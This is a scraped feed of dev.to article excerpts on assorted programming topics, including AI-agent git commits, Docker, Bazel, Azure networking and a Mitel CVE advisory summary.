    git-mcp-server crashed my repository
    Disclaimer: AI was used for checking grammar and to improve readability. Content was written by human. Just a quick story that happened yesterday and perhaps a warning to the vibe coders out there. As the title suggests, I too tend to vibe from time to time. When I do, I go all out and allow the agent to commit its changes. I use a git-mcp-server for this (see https://github.com/modelcontextprotocol/servers/tree/main/src/git), which does a great job until I noticed some strange behaviour during a disastrous vibe coding session. After the agent committed everything, there were still some staged files. Not knowing what they were, I ran git status myself and found the following situation M ./.git/index M ./.git/logs/HEAD M ./.git/logs/reds/heads/feature/... M ./.git/refs/heads/feature/.... # …  ( 7 min )
    Building a Modern Data Warehouse in SQL Server with Medallion Architecture
    A data warehouse is essential for consolidating and transforming data from multiple sources into a single, reliable source for business intelligence, reporting, and analytical insights. It is a subject-oriented (focused on specific business areas like sales, customers, or products), integrated (combines data from multiple sources into a unified view), time-variant (stores historical data), non-volatile (data is usually not deleted from a warehouse) collection of data to support decision-making. Implementing a data warehouse offers many benefits: Replaces manual data gathering, significantly reducing human error, and increasing speed through ETL (Extract, Transform, Load) processes. Becomes the single source of truth for all analysis and reporting, ensuring consistency across the organizati…  ( 11 min )
    I Published My First Python Library: `rs-calculator`
    I just released my first Python library on PyPI — it’s called rs-calculator. It’s not trying to be the smartest calculator out there, but it might be the simplest one. A simple, open-source calculator library designed to help beginners both use and understand how Python libraries are built. https://github.com/Rasa8877/rs-calculator pip install rs-calculator calculate() function with simple math: +, -, , /, *, %, // show_help() that actually shows help — no extra docs needed Handles division/modulo by zero If you’re learning Python or teaching it, give it a try. I’d love feedback or ideas for improvement 🙌  ( 3 min )
    Compilers and How They Work
    Have you ever wondered how the code you write transforms into a running program? If so, you’re in the right place. A compiler is a powerful tool that translates human-readable source code into assembly language, a medium-level representation that a computer can process. The compilation process involves several crucial steps, including lexical analysis, syntax analysis, semantic analysis, intermediate code generation, code optimization, and code generation. That’s about the flow of phases during compilation. Let’s dive deep into each phase now. Lexical analysis is the phase where the source code is broken down into tokens. Tokens include keywords, identifiers, operators, and delimiters. Each token is saved into a data structure called the Symbol Table. Each entry is stored in the following…  ( 7 min )
    AlgorithmO #11 — Решето на Ератостен
    (Първо публикувано на 12.01.2017) При днешния алгоритъм е по-интересна имплементацията, отколкото приложението му на ръка. Това е един класически числов алгоритъм за намиране на прости числа в интервал и определено си струва да го добавите към “арсенала” си. 😉 Очевидно е, че брадата прави играта… :) ОПИСАНИЕ: “Решетото на Ератостен” (да, решетоТО, а не просто решето :)) се използва за намирането на прости числа (т.е, числа, които се делят само на 1 и на себе си) в даден интервал. Името идва от думата “решето” — съд с дъно на дупки, през които отстраняваме ненужното (правили сте си спагети, нали?). По същия начин, с този алгоритъм премахваме числата, които не отговарят на условието да са прости и след това филтриране получаваме резултата, който ни интересува. Този алгоритъм е подходящ за …  ( 5 min )
    Networking Series 1: Build a Virtual Private Cloud
    Introducing Today's Project! What is Amazon VPC? How I used Amazon VPC in this project One thing I didn't expect in this project was... This project took me... VPCs are virtual private networks within the AWS cloud that give you private, customizable control over how your cloud resources connect and interact. Without VPCs, all your resources would float in one massive open space online, with no privacy. AWS sets up a default VPC! This is why I could launch some resources like EC2 instances and connect services together from Day 1 of using AWS. If it didn't exist, I would've had to learn how to create a VPC before I can use services that require it. To set up my VPC, I had to define an IPv4 CIDR block, which is a range of IP addresses that my resources use to identify and communicate with…  ( 4 min )
    10 Open Source Tools To Become The Ultimate Developer 🔥
    TL;DR Every day we use different technological tools, already on automatism, although we have not heard about them before. With the knowledge of the new, we gain that competitiveness in the market that will provide us with what we want, be it an online store or a simple calculator. In this article, I have collected some tools, knowledge of which will help you become the ultimate developer. Let's get started! 🏎️ HMPL.js - Server-oriented customizable templating for JavaScript Let's start with a small template language that allows you to get components from the server and display them on the client. Due to its syntax, applications are quite small. The language is syntactically block-based and integrated with JSON5 and DOMPurify. Reduce the size of your javascript files and display the …  ( 6 min )
    Gettemplate.website
    Hello and welcome to the new video and the new product I have been working on for the past month. Gettemplate.website it's a platform for developers to find FREE HTML, React, Vite and Nextjs templates tonnes of templates for different domains to build all kinds of apps. Currently, gettemplate.website provides categories of template,s including Landing pages Portfolio pages Hero sections Payment Forms CRM Forms & Tables Onboarding sections Content tables and Forms AI sections Animations Do check the website, https://gettemplate.website and feel FREE to add your opinion in the comments section Website: https://gettemplate.website https://www.youtube.com/watch?v=DmIwEPSAzFg Do check it and let me know your opinion in the comments  ( 3 min )
    🐳 Using docker for DL MLOps for the first time
    For the past few weeks, I’ve been on a personal 30-day MLOps challenge to get hands-on with tooling and workflows used in real-world machine learning deployments. As part of this challenge, I containerized my first deep learning solution using Docker. The experience was both educational and practical — and this post breaks it all down. The goal was to create a regression model that predicts the quality of white wine based on its chemical properties. Dataset: UCI White Wine Quality dataset Model: Keras Sequential ANN with one hidden layer Evaluation: Root Mean Squared Error (RMSE) Experiment Tracking: MLflow Hyperparameter Optimization: Hyperopt Infrastructure: Docker + DVC + Git + MLflow UI ❓ Why Docker? I’ve always heard that Docker makes ML workflows easier, bu…  ( 5 min )
    Mastering Consistency: Best Practices for Follow Consistent Naming Conventions
    The Significance of Consistent Naming Conventions In the realm of software development, adhering to consistent naming conventions is akin to speaking a common language that all team members understand. It enhances code readability, reduces confusion, and fosters maintainability. Best Practices for Consistent Naming Conventions 1. Choose Descriptive and Intuitive Names When naming variables, functions, classes, or any other entities, opt for names that accurately describe their purpose or functionality. Avoid cryptic abbreviations or overly generic terms. Example: int numApples; // Good int n; // Poorly named 2. Use CamelCase or snake_case Consistency in naming styles is key. Whether you prefer CamelCase (e.g., myVariableName) or snake_case (e.g., my_variable_name), stick to one convention throughout your codebase. 3. Prefixes and Suffixes for Clarity Consider using prefixes like 'is' or 'has' for boolean variables to indicate their purpose clearly. Similarly, suffixes like 'Controller' or 'Service' can denote the role of a class. 4. Enumerations and Constants For enums and constants, use uppercase letters with underscores to differentiate them from variables. This convention improves visibility and distinguishes them from regular identifiers. 5. Package and Module Naming Follow a hierarchical structure for naming packages or modules. Start with broad categories and progressively specify subcategories for a logical organization. 6. Consistency Across Projects Extend naming conventions beyond a single project. Establish organization-wide standards to ensure uniformity and ease of collaboration among teams. Conclusion Consistent naming conventions are not mere formalities; they are the foundation of well-structured and maintainable code. By adopting best practices and adhering to a unified naming style, developers can streamline development processes and enhance code quality.  ( 4 min )
    A mighty web application that devours English descriptions and spits out perfect regular expressions using AI!
    try: https://devinedevil999.github.io/t-rexpress/  ( 3 min )
    Locally Weighted Linear Regression: When One Line Isn't Enough (and Why It's Non-Parametric!) ✨🗺️
    Locally Weighted Linear Regression: When One Line Isn't Enough (and Why It's Non-Parametric!) ✨🗺️ Hey everyone! 👋 My name is Randhir, and as an ethical hacker, machine learning enthusiast, deep learning practitioner, and web developer, I'm constantly exploring algorithms to build better tools like my current AI SaaS projects:TailorMails.dev (my personalized cold email tool that crafts outreach based on LinkedIn bios!). In our journey through Linear Regression, we've talked about finding a single set of parameters θ\theta θ for our hypothesis hθ(x)=θTxh_\theta(x) = \theta^Tx hθ​(x)=θTx . But what if the real relationship between xx x and yy y isn't a straight line? Adding polynomial features can lead to overfitting... so, what's a data scientist to do? 🤔 Enter Loc…  ( 6 min )
    🔄 Introducing Galus: A Lightweight and Blazing-Fast Live Reload Tool for Go Developers
    ⚡ Sick of slow build times with Air or CompileDaemon? Meet Galus — your new best friend for rapid Go development. If you’ve built REST APIs in Go using frameworks like Gin, Chi, or Fiber, you probably rely on live reload tools to avoid rebuilding your server manually every time you save a file. The usual suspects? Both are awesome. I’ve used them extensively. Every. Single. Save. I was spending more time waiting for builds than actually coding. And let’s be real — ain’t nobody got time for that. So I decided to build my own tool. I hit that breaking point where I just wanted something: Lightweight 🪶 Fast as hell ⚡ Easy to set up 🛠️ 🌀 Galus = Golang Auto Live Update System ✅ No fuss setup — just run galus init and you're good to go. The goal is simple: Make your dev loop feel instant, again. Install Galus go get github.com/aliftech/galus Install the binary to make galus available globally go install github.com/aliftech/galus Initialize in your project: galus init Run: galus That’s it. Galus will handle the rest. Galus is still early-stage, but I’ve got a roadmap full of features I’m actively working on: 🧪 Custom build commands 🌈 Color-coded logs 🔀 Plugin support for advanced workflows 🛡️ Better error handling & recovery Want to contribute? This is where you come in. If you: Have ever been frustrated with live reload tools... Want something faster, simpler, and more Go-centric... Like experimenting with new dev tools... Then please give Galus a spin and let me know what you think. What live reload tool do you use today — and why? What feature is absolutely essential in your dev workflow? Have you tried Galus? How was it? Hit me up in the comments or on GitHub — I’d love to collaborate with fellow Gophers. If Galus helps you, even just a little, consider giving it a ⭐ on GitHub. It helps a ton! 👉 github.com/aliftech/galus Let’s make Go dev faster, together. 💪  ( 4 min )
    Code Splitting, Dynamic Imports & Bundle Analysis
    ✍️ Intro: Ever noticed your website feels heavy even when it’s mostly static content? everything at once, even if the user only needs 10%. In this part of the series, we’ll explore Code Splitting, Dynamic Imports, and Bundle Analysis in React & Next.js — essential techniques that helped me shave off 40–80% of loading time across real projects. You’ll learn: What code splitting is and why it matters How to use next/dynamic for dynamic imports How to analyze and reduce your JavaScript bundles Real examples from a live project I worked on at my company What Is Code Splitting? Code Splitting is a technique where your app is divided into small chunks instead of one big JavaScript file. Benefits: Faster initial load time Load only what's needed Reduces Time to Interactive (TTI) Dynamic Impor…  ( 5 min )
    How Do Great Developers Manage Their Time Without Using 10 Different Tools?
    Last Tuesday, I watched a senior developer at my company spend 15 minutes just figuring out where to update a simple task status. Slack for team discussion, Jira for the ticket, Linear for sprint planning, GitHub for code review comments, and Notion for project documentation. By the time he updated everything, he'd completely lost his train of thought on the actual code problem he was solving. Sound familiar? We've created a monster. In our quest to optimize every micro-process, we've built workflows that would make a 1990s enterprise jealous. The average developer now juggles 9-12 different tools daily, and we wonder why that "simple" feature took three weeks instead of one. I've been coding for over a decade, and I've seen teams that ship fast and teams that struggle. The difference isn'…  ( 8 min )
    Starting My Coding Journey — First Post
    Hi everyone. This is my first post. I’m learning to code and want to grow by sharing my progress and staying consistent. Even small steps feel big when you're doing them daily. Let’s see where this goes.  ( 3 min )
    How I Automated My Entire Marketing Funnel Using OpenAI + Zapier + WhatsApp + Google Sheets
    If you're spending hours replying to leads, updating spreadsheets, sending emails, or chasing follow-ups—there’s a better way. I’ll show you exactly how I automated my entire marketing funnel using AI tools like OpenAI, no-code connectors like Zapier, real-time messaging via WhatsApp Cloud API, and lightweight data handling with Google Sheets. This guide is 100% beginner-friendly and optimized for developers, founders, and marketers looking to save time and scale outreach. Running a small business, startup, or side project usually means you're doing everything—marketing, support, sales. I was wasting hours doing manual tasks like: Copy-pasting form responses into sheets Writing cold WhatsApp and email replies Following up with leads Manually notifying my team None of this was scalable. So …  ( 5 min )
    Day 13: How to Use Aspect Ratio in Tailwind CSS (Perfect for Responsive Images & Videos)
    Welcome to Day 13 of the “15 Days of Tailwind Tips” series. Today, we’ll explore a utility that’s often overlooked but extremely useful when building responsive layouts—aspect-ratio in Tailwind CSS. If you’ve ever struggled to maintain the proportions of an image, video embed, or even a card layout across screen sizes, this utility is going to save you time and effort. Tailwind’s aspect-* utility allows you to set width-to-height proportions directly in your markup, making layout consistency easier than ever. Tailwind introduced aspect ratio support in v3.0 using the aspect-* utility, which applies the native CSS aspect-ratio property under the hood. Here’s a basic example: <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ" class="w-full h-full" …  ( 6 min )
    Why Least-Squares? Unpacking the Probabilistic Heart of Linear Regression ❤️🎲
    Hey everyone! 👋 My name is Randhir, and as someone diving deep into ethical hacking, machine learning, deep learning, and web development, I'm constantly building and exploring. Right now, I'm excited to be working on my AI SaaS tool, TailorMails.dev, a personalized cold email tool that crafts outreach based on LinkedIn bios. Understanding the "why" behind core algorithms is crucial for these projects, and it's something I love sharing. We often use the least-squares cost function in Linear Regression, but have you ever stopped to wonder why it's the right choice? 🤔 Today, let's explore the powerful Probabilistic Interpretation of Linear Regression. This theoretical justification reveals the hidden statistical elegance behind our beloved least-squares objective. Get ready to connect the …  ( 6 min )
    Hyperliquid Referral Code "REBATE": Get $99 Bonus + 20% Cashback Instantly | Hyperliquid Promo Code
    In the fast-paced world of cryptocurrency trading, having access to a platform that provides a seamless and efficient trading experience is crucial. Hyperliquid has established itself as a leading decentralized exchange (DEX) that offers fast, low-fee trading with advanced features. Whether you’re a beginner or a seasoned pro, Hyperliquid ensures that every trader has the tools they need to succeed. By signing up using the Hyperliquid Referral Code "REBATE", you unlock instant rewards, including a $99 bonus and 20% cashback on your trading fees. This article will walk you through everything you need to know about Hyperliquid, the advantages of using the Referral Code "REBATE", and how to maximize your rewards by joining the platform. Let’s explore what makes Hyperliquid a top choice for cr…  ( 7 min )
    Why Heat Therapy Might Be Harming Your Back (Especially If You Code All Day)
    As developers, we often joke about “bad posture being part of the job.” Long hours in front of a screen, few movement breaks, and the occasional ergonomic fix make back pain feel inevitable. And when it hits, most of us grab a heat pad and hope for relief. But what if that very habit is silently working against us? Let’s explore how heat therapy — while comforting — might be making your back pain worse if you’re coding all day. We’re built to move, but coding doesn’t require much physical activity. Over time, static sitting compresses the spine, tightens hip flexors, and weakens postural muscles. This mechanical stress accumulates into low back discomfort, stiffness, or sharp pain. The instinct to treat it with heat is understandable, but it may not always be the right choice. Heat increas…  ( 4 min )
    🐳 Which Docker Image Approach Should You Use?
    In this course, we looked at three popular ways to create Docker images for microservices: Dockerfile Buildpacks Jib Now you might wonder: Which one is the best? there is no one "best" method. Each has its own pros and cons, and your choice depends on your specific needs. ✅ Pros: Gives maximum control and flexibility. You can customize it to fit almost any requirement. ❌ Cons: You need to write and maintain it yourself. You must know best practices for performance and security. Each microservice needs its own Dockerfile. ✅ Pros: Easiest to use — no need to write Dockerfiles. Supports multiple languages (Java, Python, Node.js, etc.). Great for multi-language microservices projects. Offers features like caching, modular builds, and security metadata. ❌ Cons: Slower and uses more memory, especially on local machines. Has some performance issues on macOS. ✅ Pros: Designed specifically for Java projects. Very fast and lightweight — saves memory and disk space. Works smoothly across Windows, macOS, and Linux. ❌ Cons: Only supports Java. Less flexible compared to Dockerfile for complex setups. We’ll use Jib for three main reasons: Faster & lighter – Great for local development on regular laptops. Our microservices are Java-only, so Jib is a perfect fit. Fewer issues on macOS – Buildpacks can be slow or buggy on Macs. For real-world production, especially with multi-language services, use Buildpacks — they are more powerful and flexible. If you're working with Java-only and want a quick, easy setup, Jib is a great choice. If you need full control and have special requirements, use a Dockerfile. 👉 There’s no “bad” option — just choose what fits your project and team best.  ( 6 min )
    CVE-2024-55550: Mitel MiCollab Path Traversal Vulnerability
    CVE ID CVE-2024-55550 Mitel MiCollab Path Traversal Vulnerability Project: Mitel Product: MiCollab Date Date Added: 2025-01-07 Due Date: 2025-01-28 Mitel MiCollab contains a path traversal vulnerability that could allow an authenticated attacker with administrative privileges to read local files within the system due to insufficient input sanitization. This vulnerability can be chained with CVE-2024-41713, which allows an unauthenticated, remote attacker to read arbitrary files on the server. Known Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2024-0029 ; https://nvd.nist.gov/vuln/detail/CVE-2024-55550 Mitel warns of critical MiVoice MX-ONE authentication bypass flaw Mitel MiCollab, Oracle WebLogic Server vulnerabilities exploited by attackers CISA Flags Critical Flaws in Mitel and Oracle Systems Amid Active Exploitation CISA warns of critical Oracle, Mitel flaws exploited in attacks Common Vulnerabilities & Exposures (CVE) List  ( 3 min )
    DevSecOps with Github Actions and ArgoCD
    Architecture Overview Infrastructure: AWS EKS Cluster with managed node groups CI/CD: GitHub Actions for building and pushing Docker images GitOps: ArgoCD for continuous deployment Security: tfsec , trivy and sealed secret. Tools: Terraform, Helm, kubectl, eksctl Start with a fresh Ubuntu VM (recommended: Ubuntu 20.04 LTS or later) and ensure you have sudo access. # Update the system sudo apt update && sudo apt upgrade -y # Install unzip utility sudo apt install unzip -y # Install AWS CLI v2 curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" unzip awscliv2.zip sudo ./aws/install # Verify installation aws --version # Set architecture (change to arm64, armv6, or armv7 for ARM systems) ARCH=amd64 PLATFORM=$(uname -s)_$ARCH # Download eksctl curl -sLO "h…  ( 6 min )
    Query Smarter, Not Harder
    If you're building a music app with on_audio_query, it’s tempting to call querySongs() everywhere—home screen, playlists, search, etc. But this means repeated storage scans → slower UI, battery drain, and unnecessary complexity. final OnAudioQuery audioQuery = OnAudioQuery(); Future> getSongs() async { return await audioQuery.querySongs(); // Called in every screen } In each screen: final songs = await getSongs(); // Repeats scan again Fetch once in a service (e.g., MusicPlaybackService): class MusicPlaybackService extends ChangeNotifier { List _allSongs = []; Future loadSongs() async { final OnAudioQuery query = OnAudioQuery(); _allSongs = await query.querySongs(); notifyListeners(); } List get allSongs => _allSongs; } Provide it globally: runApp( ChangeNotifierProvider( create: (_) { final service = MusicPlaybackService(); service.loadSongs(); // Fetch once return service; }, child: MyApp(), ), ); Reuse anywhere without re-querying: final allSongs = context.watch().allSongs; Benefits No repeated disk access. Faster UI transitions (playlist, search, player use the same list). Centralized state → easier maintenance.  ( 3 min )
    My Best Web Development and Design Resources for 2025
    I believe that every developer has a curated list of resources they rely on daily. Whether you're a beginner or a seasoned pro, these resources can elevate your workflow. Here's my handpicked list of the best frontend and design resources I use daily. These platforms provide a wealth of creative ideas to fuel your next project: Minimal Gallery: Discover minimalist website designs with intuitive filtering, perfect for clean and modern aesthetics. Cosmos: A treasure trove of unique images and innovative UI/UX ideas to inspire your designs. Unsection: Explore over 1,000 categorized web pages with easy filtering for quick inspiration. Supahero: Find top-tier hero sections to make your website’s first impression unforgettable. Stack Sorted: Browse a curated collection of the best web designs, o…  ( 4 min )
    Deploy Node.js app anywhere with TurboCloud
    What You’ll Need A server with a public IP address, SSH access, and a fresh installation of Ubuntu 22.04. Not sure which cloud provider to use? Try DigitalOcean, Vultr, or Hetzner. A Node.js project (Optional) A custom domain Deployment Steps Create a server on your cloud provider Create a Dockerfile (you can find an example below) Deploy the project from a local folder or GitHub/Bitbucket A deployed Node.js project without vendor lock-in HTTPS with an auto-generated or custom domain WAF with the default ruleset recommended by OWASP Rate limiting CI/CD if you deploy from GitHub or Bitbucket Deploying a Node.js App It doesn't matter whether you want to deploy your Node.js app directly from your development machine or from GitHub/Bitbucket — you shoul…  ( 4 min )
    Um...... I don't know what to do with my hands.
    I have absolutely no idea what I'm doing here. Other than I really love to learn new things. Someone help me please and explain what it is I do that's got all this attention coming my way these days.... Any advice or light on the subject would be appreciated.  ( 3 min )
    The Rise of No-Code and Low-Code Platforms: How They’re Disrupting Web Development and Empowering Everyone
    💥 The Revolution is No Longer Coming — It’s Already Here How? No-code and low-code platforms. These tools are not just trends — they’re a tectonic shift in how digital products are built and launched. Whether you're a startup founder, marketer, designer, or even a developer, understanding this movement isn't optional anymore. It's essential. 🧠 What Are No-Code and Low-Code Platforms? Low-code platforms allow minimal coding, offering a visual interface to speed up development. Think Webflow, Bubble, Airtable, Zapier, Glide, Thunkable, and Outsystems. ⚙️ Why They Matter: Real-World Impact Speed to Market Traditional dev timelines are weeks or months. No-code tools slash that to hours or days. Example: A solo founder built an MVP for his marketplace using Bubble and launched in 3 days — no …  ( 4 min )
    How I Built My Job-Ready Developer Resume with Real Projects (And Why You Should Too)🤯
    A post by Robert Thomas  ( 3 min )
    I Built SoVoyage.fr — A Travel Deals Site Using Astro JS, Markdown, Netlify CMS and Firebase
    Hi everyone 👋 I’m an indie developer and I recently launched SoVoyage.fr — a website that helps travelers find flight deals, promo codes, and low-cost airline offers, all in one place. The goal: 💡 Make it easier for people to travel more for less — with clean, fast, and always up-to-date content. I wanted something fast, SEO-optimized, and easy to maintain — without relying on a heavy CMS or complex backend. Here’s the stack I chose: Astro JS Static site generator → fast and lightweight Ideal for content-focused pages like travel deals Full control over HTML, metadata, and SEO structure I use SCSS with Bootstrap for styling and layout Astro outputs static pages, while allowing interactivity where needed I also integrated several helpful Astro modules: astro-purgecss → to clean u…  ( 4 min )
    Why I stopped studying for the AWS Certification
    I was falling into the same trap again. So I wrote this as a reminder to myself and to anyone considering a certification just for the sake of being "certified". I had started studying for the AWS Developer Associate certification. As a backend engineer, I often work with AWS services, so improving my AWS skills made sense. It seemed like a smart career move—and a nice addition to my CV. With good intentions, I bought a couple of courses and mock exams on Udemy. I was ready to commit. After a few weeks of studying, it hit me: many of the services required for the certification were irrelevant to my actual work. Take AWS CloudFormation, for example. It's their proprietary Infrastructure as Code (IaC) tool, and it's mandatory for the exam. Why? Because most companies I've worked with, like t…  ( 4 min )
    How to Update an Azure Virtual Network
    What is an Azure Virtual Network: https://portal.azure.com for efficient management and security across regions and subscriptions. In this article, we will be focusing on: Prerequisites An active Azure account. You can sign up for a free trial if you don’t have one. Step-by-Step Guide to Create a Virtual Network Login to Microsoft Azure at https://portal.azure.com https://portal.azure.com and sign in with your Azure credentials. Create a resource group From the Azure portal home page, in the search box, enter resource groups. Select Resource groups under services Select Create. Enter guided-project-rg in the Resource group name field. The Region field will automatically populate. Leave the default value. Select Review + create. Select Create. Return to the home page of the Azure port…  ( 6 min )
    Using AI in Software Development: What Techniques Increase Productivity?
    We’ve all seen those impressive vibe-coding demos, where entire websites appear to be created in seconds. But when working on large commercial codebases, my experience has been more nuanced. Flashy demos aside, what techniques lead to meaningful, repeatable success and increased productivity? 🚀 Here are a few tips I’ve found crucial for good code generation: be as clear and precise as possible in your prompt — ambiguity kills usefulness. Provide context through relevant project files, architecture notes, or examples related to the problem. And be iterative — use feedback loops with the AI to refine the output step by step. By refining how I frame prompts and improving context, I’ve seen a dramatic improvement in the relevance and reliability of AI-generated code. 🐞Beyond code generation,…  ( 4 min )
    Bulk Email Sender v2.0: From Simple Tool to Professional Email Marketing Platform
    Hey dev community! 👋 Remember that bulk email sender I built with Laravel a while back? Well, it's gotten a MASSIVE upgrade! What started as a simple tool for sending bulk emails has evolved into a full-fledged email marketing platform. Let me walk you through everything that's new in v2.0! Don't get me wrong - v1.0 did its job. You could send bulk emails, and that was pretty much it. But after using it for a while (and getting feedback from the community), I realized it was missing some crucial features: No proper contact management Couldn't send individual emails No way to organize contacts Basic UI that looked... well, basic No proper queue system for large campaigns Sound familiar? Yeah, I know. It was more of a "quick hack" than a professional tool. This was the big one! Now you can…  ( 5 min )
    The Polymath Tool for All Your Audio and Document Needs
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    🐳 Docker Multi-Stage Build - Complete Documentation
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    Beyond Git: Tools That Make Senior Developers Insanely Productive
    If you're still thinking productivity = writing more code faster… you’re missing the real game. Senior developers don’t just code more — they think better, automate smarter, debug faster, and collaborate effortlessly. And while Git is essential, it’s just one piece of the toolbox. Let’s go beyond Git and dive into the secret weapons senior devs swear by (but rarely talk about). Ever noticed how senior devs set up a new system in minutes and everything just works? Dotfiles. Think of dotfiles as your personal dev setup — aliases, editor configs, plugins — all version-controlled and portable. Here’s a popular starter repo you can fork: Mathias’s dotfiles Want to try it yourself? git clone https://github.com/yourname/dotfiles.git cd dotfiles ./install.sh Now every new machine feels like home…  ( 5 min )
    Error Handling in Express.js
    When building backend applications with Express.js, handling errors properly is crucial. It not only helps you debug issues quickly but also ensures a better experience for users when something goes wrong. In this blog, we'll walk through how error handling works in Express, why it matters, and how you can implement it in your own projects. Error handling is the process of catching and responding to errors in your application. These errors could be anything from a missing file, a bad request, a database failure, or even a typo in your code. Instead of letting the app crash or return confusing messages, we use error handlers to catch these issues and return useful responses. Express has a special kind of middleware just for errors. This middleware function must have four arguments: err, req…  ( 5 min )
    7 Expert Tips for Building Asset Management Software
    In an age of hybrid work and digital sprawl, tracking assets isn’t just an IT problem - it’s a business challenge. Laptops live in living rooms, software licenses multiply, and no one’s quite sure who has what. Forward-thinking teams are moving beyond outdated spreadsheets and one-size-fits-all platforms by building asset management software designed for their real-world needs. This guide breaks down 7 expert tips to help teams build smarter, leaner, and more scalable systems with clarity, control, and user experience at the core. 1. Start with a Clear Asset Model Defining your asset model is crucial before you start building. Many teams overlook how assets evolve or how they’re interrelated. Think beyond just laptops and phones; consider software licenses, subscriptions, peripherals, an…  ( 6 min )
    The Role of a Cybersecurity Agency in Safeguarding Businesses in the Digital Era
    Introduction: A New Age of Cybersecurity Demands The world has undergone a massive digital transformation in the last decade. From cloud computing and smart devices to online transactions and remote work culture, the reliance on digital platforms is now undeniable. While this transformation has opened avenues for innovation and efficiency, it has also introduced a vast landscape of vulnerabilities. Every new technology becomes a potential gateway for cyber threats. Hackers no longer need physical access to steal sensitive information digital tools allow them to infiltrate, manipulate, or destroy systems remotely. As a result, the demand for robust cybersecurity is higher than ever. This is where a dedicated cybersecurity agency like SecureRoot steps in. Acting as digital guardians, cyber…  ( 7 min )
    Environment Variables vs Configuration Table vs Hardcoding in Dynamics 365 CE
    When you're building solutions in Dynamics 365 CE, how you manage configuration values can make a big difference. Things like URLs, toggles, credentials, and feature flags need to be stored somewhere—and choosing the right place to put them impacts maintainability, ALM, and performance. Let’s walk through three common options: Environment Variables A custom Configuration Table (often called msdyn_Configuration) Hardcoding values directly into your code Each approach has its strengths, limitations, and ideal use cases. Here’s how I think about them. Environment Variables are built into the Power Platform and are great for handling configuration values that change across environments—like API URLs or toggle flags. They’re solution-aware, which means they move cleanly through Dev, Test, and P…  ( 4 min )
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    Introduction What is Event-Driven Architecture? Key Components // Example of an event structure const orderEvent = { eventId: "evt_123456", eventType: "ORDER_CREATED", timestamp: "2024-04-03T10:00:00Z", payload: { orderId: "ORD_789", customerId: "CUST_456", items: [ { productId: "PROD_001", quantity: 2, price: 29.99 } ], totalAmount: 59.98 }, metadata: { source: "order-service", version: "1.0", correlationId: "corr_123" } }; Core Concepts Events Events are immutable records of something that happened in the system. They represent state changes and can trigger reactions in other parts of the system. // Example of different event types const eventTypes = { domainEvents: [ "OrderCreated", "PaymentProcessed", "InventoryUpda…  ( 6 min )
    Mastering Python Virtual Environments: Why You Need Them and How to Use Them Across Different OS
    In the world of Python development, managing dependencies can quickly become a complex task, especially when working on multiple projects. This is where Python virtual environments come to the rescue. In this post, we'll explore why you need a virtual environment, what it is, how it works, and how to create one on different operating systems. Additionally, we’ll discuss why Python virtual environments are not movable or shareable, and how you can share your environment with other developers using requirements.txt. By the end, you'll have a solid understanding of Python virtual environments and how they can benefit your development workflow. 1. Why Do We Need Python Virtual Environments? When working on Python projects, you'll often need to install different packages and librari…  ( 6 min )
    Modern Bazel with Python-Module 6: Production Deployment and CI/CD Integration
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    The Importance of Web Development in Modern Business Growth
    In today’s digital-first era, web development is no longer a luxury it’s a necessity for any business that wants to thrive. From small startups to large enterprises, having a professionally developed website is critical for creating credibility, building customer relationships, and ultimately increasing revenue. With more people turning to online platforms to find products and services, businesses that invest in quality web development are positioned far ahead of the competition. Your website acts as your virtual storefront, and just like a physical shop, it needs to be attractive, easy to navigate, and welcoming to potential customers. A well-structured and user-friendly website ensures that visitors stay longer, explore more, and are more likely to convert into customers. This is where w…  ( 5 min )
    Recreating Chrome's Classic: A Pixel-Perfect QR Code Generator Extension Built with WebAssembly
    Introduction Do you remember Chrome's built-in QR code generator feature? That sleek, elegant interface with the iconic Chrome dinosaur in the center of QR codes was once our go-to tool for sharing webpage links. Although Google removed this functionality in a later version, today I'm excited to introduce an remarkable open-source project that not only brings this feature back but achieves pixel-perfect replication in its technical implementation. This Chrome extension, aptly named "Add QR Code Generator Icon Back To Address Bar," uses WebAssembly technology to perfectly recreate Chromium's native QR code generation algorithm, allowing us to enjoy this classic functionality once again. Chromium-Style QR Codes: Identical visual appearance to Chrome's native implementation Chrome Dinosaur …  ( 8 min )
    [Prompt] ND-ReRanker v 0.1
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    Cloning Users in Dynamics 365 CE Security App via Plugin
    Managing user access in large Dynamics 365 Customer Engagement (CE) environments often involves repetitive configurations across roles, teams, business units, and queues. This quickly becomes a time sink—especially when onboarding similar users. In my recent project, I enhanced my Power Apps-based Security Management App with a user cloning feature built using a custom plugin. Ypu can use a similar concept and build a console app as well. Let me walk you through the approach and design. When a new user joins and needs identical access to an existing peer, admins should be able to: Select a source user Select a target user Click Clone ...and instantly replicate: Security Roles Teams Business Unit Queues All without manually re-assigning each entity. While Power Automate and custom UI log…  ( 4 min )
    Modern Bazel with Python-Module 5: Advanced Python Rules and Toolchains
    Learning Objectives By the end of this module, you will: Master custom Python rules and macros Configure Python toolchains for different environments Implement hermetic Python builds Handle complex Python packaging scenarios Use aspects for code analysis and transformation Bazel's extensibility shines when you need custom build logic. Let's create a custom rule for Python code generation: # //tools/python_rules.bzl def _python_proto_library_impl(ctx): """Implementation of python_proto_library rule.""" proto_files = ctx.files.srcs output_dir = ctx.actions.declare_directory("proto_gen") # Generate Python files from proto ctx.actions.run( inputs = proto_files, outputs = [output_dir], executable = ctx.executable._protoc, arguments = [ …  ( 7 min )
    From SMA to TEMA: Coding Technical Indicators in Python — Building stocksimpy 2
    Most of the stock back-testing tools and libraries I've seen are either too complex for beginners or have a steep learning curve. So I decided to build my own Python library from scratch called stocksimpy which aims to be a light-weight and well-documented alternative to what is out there. One of my primary goals with this series is to learn how Python libraries work, as well as to improve my skills in Pandas and NumPy. And create something that could grow into a real tool for others to use. In the process, I ended up implementing over 10 indicators from scratch. Here’s how I approached, what I learned, and how you can do the same: This is a valid question. I also asked myself this when I reached about 300 lines of code. But then I realised that when I was coding these indicators, I was le…  ( 7 min )
    Modern Bazel with Python-Module 4: Caching and Dependencies
